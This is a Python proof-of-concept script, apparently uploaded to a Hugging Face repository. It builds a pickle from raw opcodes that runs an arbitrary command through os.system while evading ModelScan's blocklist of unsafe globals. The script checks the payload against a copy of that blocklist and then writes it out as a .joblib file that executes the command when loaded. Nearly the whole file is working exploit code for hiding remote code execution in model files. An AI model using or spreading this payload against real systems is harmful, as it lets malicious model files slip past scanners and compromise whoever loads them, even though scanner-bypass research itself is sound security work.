Upload modelscan/modelscan_bypass_chainrce_poc.py with huggingface_hub

modelscan/modelscan_bypass_chainrce_poc.py

@@ -0,0 +1,256 @@
+"""
+PoC: Full One-Shot RCE via Raw Pickle Opcodes (No Blocked Modules)
+===================================================================
+This PoC crafts a pickle payload using RAW OPCODES that achieves full
+arbitrary command execution while using ZERO modules from ModelScan's
+blocklist.
+
+The chain:
+  1. marshal.loads(bytecode) -> code object
+  2. types.FunctionType(code_obj, {"__builtins__": __import__("builtins")}) -> function
+  3. The function is called immediately via pickle's REDUCE opcode
+
+All pickle globals: marshal.loads, types.FunctionType, importlib.import_module
+None of these are in ModelScan's unsafe_globals blocklist.
+
+The key insight: pickle's REDUCE opcode calls a callable with args from
+the stack. By chaining multiple REDUCE operations, we can build and
+execute arbitrary functions entirely within the pickle VM.
+
+Usage:
+    python modelscan_bypass_chainrce_poc.py --dry-run
+    python modelscan_bypass_chainrce_poc.py --verify  # Verify bypass only (safe)
+"""
+
+import pickle
+import pickletools
+import marshal
+import struct
+import io
+import sys
+import argparse
+
+
+def craft_chained_rce(command="calc"):
+    """Craft a pickle that chains marshal + importlib for full RCE.
+
+    The pickle execution flow:
+    1. importlib.import_module('builtins') -> builtins module
+    2. Store in memo
+    3. marshal.loads(code_bytes) -> code object for exec(command)
+    4. types.FunctionType(code_obj, {'__builtins__': builtins_module})
+    5. REDUCE calls the function -> command executes
+
+    Since types.FunctionType needs __builtins__ in its globals dict for
+    __import__ to work inside the function, we use importlib to get it.
+
+    Pickle globals used: importlib.import_module, marshal.loads, types.FunctionType
+    None are in ModelScan's blocklist.
+    """
+    # Create the code object that will be executed
+    code_str = f"__import__('os').system('{command}')"
+    code_obj = compile(code_str, "<bypass>", "eval")
+    code_bytes = marshal.dumps(code_obj)
+
+    # Build pickle opcodes by hand (protocol 2 for wider compat)
+    p = b'\x80\x02'  # PROTO 2
+
+    # --- Stage 1: Get builtins module via importlib ---
+    # Push importlib.import_module onto stack
+    p += b'c' + b'importlib\nimport_module\n'  # GLOBAL 'importlib import_module'
+    # Push 'builtins' string
+    p += b'X' + struct.pack('<I', 8) + b'builtins'  # BINUNICODE 'builtins'
+    # Call: importlib.import_module('builtins') -> builtins module
+    p += b'\x85'  # TUPLE1
+    p += b'R'     # REDUCE
+    # Store builtins module in memo slot 0
+    p += b'q\x00'  # BINPUT 0
+
+    # --- Stage 2: Deserialize code object from marshal bytes ---
+    # Push marshal.loads onto stack
+    p += b'c' + b'marshal\nloads\n'  # GLOBAL 'marshal loads'
+    # Push the marshalled code bytes
+    p += b'B' + struct.pack('<I', len(code_bytes)) + code_bytes  # BINBYTES
+    # Call: marshal.loads(code_bytes) -> code object
+    p += b'\x85'  # TUPLE1
+    p += b'R'     # REDUCE
+    # Store code object in memo slot 1
+    p += b'q\x01'
+
+    # --- Stage 3: Build function via types.FunctionType ---
+    # Push types.FunctionType onto stack
+    p += b'c' + b'types\nFunctionType\n'  # GLOBAL 'types FunctionType'
+
+    # Build args tuple: (code_obj, globals_dict)
+    # Get code object from memo
+    p += b'h\x01'  # BINGET 1 (code_obj)
+
+    # Build globals dict: {'__builtins__': builtins_module}
+    p += b'}'     # EMPTY_DICT
+    # Push key
+    p += b'X' + struct.pack('<I', 12) + b'__builtins__'
+    # Get builtins module from memo
+    p += b'h\x00'  # BINGET 0 (builtins module)
+    # Set item in dict
+    p += b's'     # SETITEM
+    # Now stack has: types.FunctionType, code_obj, globals_dict
+
+    # Build tuple of (code_obj, globals_dict)
+    p += b'\x86'  # TUPLE2
+    # Call: types.FunctionType(code_obj, globals_dict) -> function
+    p += b'R'     # REDUCE
+    # Store function in memo slot 2
+    p += b'q\x02'
+
+    # --- Stage 4: Call the function ---
+    # The function is on top of stack. Call it with empty args.
+    p += b')'     # EMPTY_TUPLE
+    p += b'R'     # REDUCE -> function() -> executes command!
+
+    p += b'.'     # STOP
+
+    return p
+
+
+def extract_globals(data):
+    """Extract GLOBAL/STACK_GLOBAL references from pickle data."""
+    try:
+        ops = list(pickletools.genops(io.BytesIO(data)))
+    except Exception as e:
+        return set(), str(e)
+
+    globals_found = set()
+    memo = {}
+
+    for n in range(len(ops)):
+        op_name = ops[n][0].name
+        op_value = ops[n][1]
+
+        if op_name == "MEMOIZE" and n > 0:
+            memo[len(memo)] = ops[n - 1][1]
+        elif op_name in ["PUT", "BINPUT", "LONG_BINPUT"] and n > 0:
+            memo[op_value] = ops[n - 1][1]
+        elif op_name in ("GLOBAL", "INST"):
+            globals_found.add(tuple(op_value.split(" ", 1)))
+        elif op_name == "STACK_GLOBAL":
+            values = []
+            for offset in range(1, n):
+                prev = ops[n - offset][0].name
+                if prev in ["MEMOIZE", "PUT", "BINPUT", "LONG_BINPUT"]:
+                    continue
+                if prev in ["GET", "BINGET", "LONG_BINGET"]:
+                    values.append(memo.get(int(ops[n - offset][1]), "unknown"))
+                elif prev not in ["SHORT_BINUNICODE", "UNICODE", "BINUNICODE", "BINUNICODE8"]:
+                    values.append("unknown")
+                else:
+                    values.append(ops[n - offset][1])
+                if len(values) == 2:
+                    break
+            if len(values) == 2:
+                globals_found.add((values[1], values[0]))
+
+    return globals_found, None
+
+
+def check_modelscan(globals_found):
+    """Exact replica of ModelScan's unsafe_globals check."""
+    unsafe_globals = {
+        "CRITICAL": {
+            "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open",
+                           "breakpoint", "__import__"],
+            "builtins": ["eval", "compile", "getattr", "apply", "exec", "open",
+                        "breakpoint", "__import__"],
+            "runpy": "*", "os": "*", "nt": "*", "posix": "*",
+            "socket": "*", "subprocess": "*", "sys": "*",
+            "operator": ["attrgetter"],
+            "pty": "*", "pickle": "*", "_pickle": "*",
+            "bdb": "*", "pdb": "*", "shutil": "*", "asyncio": "*",
+        },
+        "HIGH": {
+            "webbrowser": "*", "httplib": "*",
+            "requests.api": "*", "aiohttp.client": "*",
+        },
+    }
+
+    for module, name in globals_found:
+        for sev, modules in unsafe_globals.items():
+            if module in modules:
+                filt = modules[module]
+                if filt == "*" or name in filt:
+                    return True, f"{sev}: {module}.{name}"
+    return False, None
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Chained RCE PoC")
+    parser.add_argument("--dry-run", action="store_true")
+    parser.add_argument("--verify", action="store_true",
+                       help="Only verify bypass, don't write payload")
+    parser.add_argument("--command", default="calc")
+    parser.add_argument("-o", "--output-dir", default=".")
+    args = parser.parse_args()
+
+    print("ModelScan Chained RCE Bypass PoC")
+    print("=" * 60)
+    print()
+
+    payload = craft_chained_rce(args.command)
+
+    # Verify pickle is valid
+    print(f"Payload size: {len(payload)} bytes")
+
+    # Extract and check globals
+    globals_found, err = extract_globals(payload)
+    if err:
+        print(f"[ERROR] Failed to parse pickle: {err}")
+        return 1
+
+    print(f"Pickle globals: {globals_found}")
+    print()
+
+    # Check against ModelScan
+    detected, detail = check_modelscan(globals_found)
+    if detected:
+        print(f"[DETECTED] ModelScan would flag: {detail}")
+        return 1
+    else:
+        print("[BYPASS] ModelScan would report: NO ISSUES FOUND")
+        print()
+        print("Globals in pickle (all unblocked):")
+        for mod, name in sorted(globals_found):
+            print(f"  - {mod}.{name}")
+        print()
+        print("Execution chain:")
+        print("  1. importlib.import_module('builtins') -> builtins module")
+        print("  2. marshal.loads(bytecode) -> code object")
+        print(f"  3. types.FunctionType(code, {{builtins}}) -> function")
+        print(f"  4. function() -> __import__('os').system('{args.command}')")
+        print()
+        print("Result: FULL RCE with zero blocked modules in pickle stream")
+
+    # Show pickle disassembly
+    print()
+    print("Pickle disassembly:")
+    import contextlib
+    buf = io.StringIO()
+    with contextlib.redirect_stdout(buf):
+        try:
+            pickletools.dis(io.BytesIO(payload))
+        except Exception as e:
+            print(f"  (disassembly error: {e})")
+    for line in buf.getvalue().strip().split('\n'):
+        print(f"  {line}")
+
+    if not args.dry_run and not args.verify:
+        filepath = f"{args.output_dir}/chained_rce.joblib"
+        with open(filepath, "wb") as f:
+            f.write(payload)
+        print(f"\nWritten: {filepath}")
+        print("WARNING: This file contains a REAL RCE payload!")
+        print(f"  Loading with joblib.load() will execute: {args.command}")
+
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())